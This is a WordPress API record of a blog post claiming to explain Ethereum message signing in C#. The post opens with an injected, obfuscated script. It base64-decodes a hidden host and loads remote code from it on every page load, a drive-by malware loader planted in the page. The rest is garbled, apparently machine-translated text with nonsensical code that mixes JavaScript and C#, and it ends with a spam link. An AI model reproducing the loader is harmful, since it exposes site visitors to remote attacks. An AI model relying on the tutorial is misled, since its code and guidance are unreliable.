{"id":9561,"date":"2025-02-08T07:20:03","date_gmt":"2025-02-08T07:20:03","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9561"},"modified":"2025-02-08T07:20:03","modified_gmt":"2025-02-08T07:20:03","slug":"ethereum-how-to-sign-ethereum-message-in-c","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9561","title":{"rendered":"Ethereum: How to sign Ethereum message in C#"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=c374b970\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Ethereum: Ethereum messages in C#<\/strong><\/p>\n<\/p>\n<p>================================================================== ==== ====<\/p>\n<\/p>\n<p>In this article we will examine how Ethereum messages are signed in C#using the ether.js library. We will cover the necessary steps and code snippets to make it easier for you to get started.<\/p>\n<\/p>\n<p><strong> Requirements <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/1p1OaR0LcF8\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<\/p>\n<ul>\n<li>Install the &#8220;Ether&#8221; package via NUGET Package Manager or PIP: <code>Installpackage Ethers<\/code><\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Leave an Ethereum letter bag (Ethercan, Metaske, etc.) with a private key<\/li>\n<\/ul>\n<\/p>\n<p><strong> Convert the JSON -RPC provider to the Ethers provider <\/strong><\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<\/p>\n<p>In this example, we create a JSON RPC provider with the &#8220;Ether&#8221; package and then use it to sign Ethereum messages.<\/p>\n<\/p>\n<p>`<code>Charp<\/p>\n<\/p>\n<p>\/\/ import the required namespaces<\/p>\n<\/p>\n<p>with ether = ethers.eth;<\/p>\n<\/p>\n<p>with ethers.providers.jsonrpcprovider;<\/p>\n<\/p>\n<p>\/\/ Create a new JSON RPC provider instance with your RPC URL<\/p>\n<\/p>\n<p>Const Jsonprovider = New JsonrpcProvider (\" 85465);<\/p>\n<\/p>\n<p>\/\/ Get the Ethereum address from the response data<\/p>\n<\/p>\n<p>Const Message = Response.Data.Message;<\/p>\n<\/p>\n<p>\/\/ convert the private key to bytes<\/p>\n<\/p>\n<p>Const Privatekeybytes = WaTte Privaty.Getbytes ();<\/p>\n<\/p>\n<p>\/\/ Sign the message with the JSON RPC provider with the ether.js library<\/p>\n<\/p>\n<p>Const Signed Message = WaTe for Jsonprovider.sign (message, private keybytes);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Signing from Ethereum messages <\/strong><\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<\/p>\n<p>In this example, we will use the &#8220;Sign Message&#8221; function of the &#8220;Ether&#8221; package to sign the Ethereum message.<\/p>\n<\/p>\n<p>`<code>Charp<\/p>\n<\/p>\n<p>\/\/ Convert the private key bytes to sign in a string<\/p>\n<\/p>\n<p>Const Privatekeystr = Waits Privatekey.Getbytes ();<\/p>\n<\/p>\n<p>\/\/ Create an ether signature of signature with your private key and your provider<\/p>\n<\/p>\n<p>Const Ethersigner = New Ethers.Wallet (private keystr, jsonprovider);<\/p>\n<\/p>\n<p>\/\/ Sign the message with the signator instance<\/p>\n<\/p>\n<p>Const Signed Message = WaTte Ethersiger.Sign Message (Message);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Example uses <\/strong><\/p>\n<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<\/p>\n<p>In this example, we will create a simple C<\/p>\n<h1><\/h1>\n<p>program to test the signature from Ethereum messages. We will use the &#8220;Ether&#8221; package to interact with an Ethereum letter bag and sign a message.<\/p>\n<\/p>\n<p>`<code>Charp<\/p>\n<\/p>\n<p>\/\/ Create a new instance of the ether provider<\/p>\n<\/p>\n<p>Const provider = new ethers.providers.jsonrpcprovider (\" 85465);<\/p>\n<\/p>\n<p>\/\/ Get the private key from your Ethereum letter bag<\/p>\n<\/p>\n<p>Wait private key.getbytytyync ();<\/p>\n<\/p>\n<p>\/\/ Define a sample message that should be signed<\/p>\n<\/p>\n<p>Const Message = \"Hello, world!\";<\/p>\n<\/p>\n<p>\/\/ Create an Ether -Signer instance with the private key and the provider<\/p>\n<\/p>\n<p>Const Ethersigner = New Ethers.Wallet (private Keybytes, provider);<\/p>\n<\/p>\n<p>\/\/ Sign the message with the signator instance<\/p>\n<\/p>\n<p>Const Signed Message = WaTte Ethersiger.Sign Message (Message);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p>Note: Replace <code>\"  \"<\/code> by your actual Ethereum-RPC-URL. Also ensure that you replace &#8220;private approves&#8221; and &#8220;private keybytes&#8221; with your actual private key enthusiast.<\/p>\n<\/p>\n<p>If you follow this article, you should now have a functioning example of signing Ethereum messages in C#. You can use this code as a starting point to create more complex applications that interact with the Ethereum blockchain with the ether.js library.<\/p>\n<p><a href=\"https:\/\/musicdistribution.net\/solana-rpc-service-provider\/\">SOLANA PROVIDER<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum: Ethereum messages in C# ================================================================== ==== ==== In this article we will examine how Ethereum messages are signed in C#using the ether.js library. We will<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9561","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9561","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9561"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9561\/revisions"}],"predecessor-version":[{"id":9562,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9561\/revisions\/9562"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9561"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9561"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9561"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}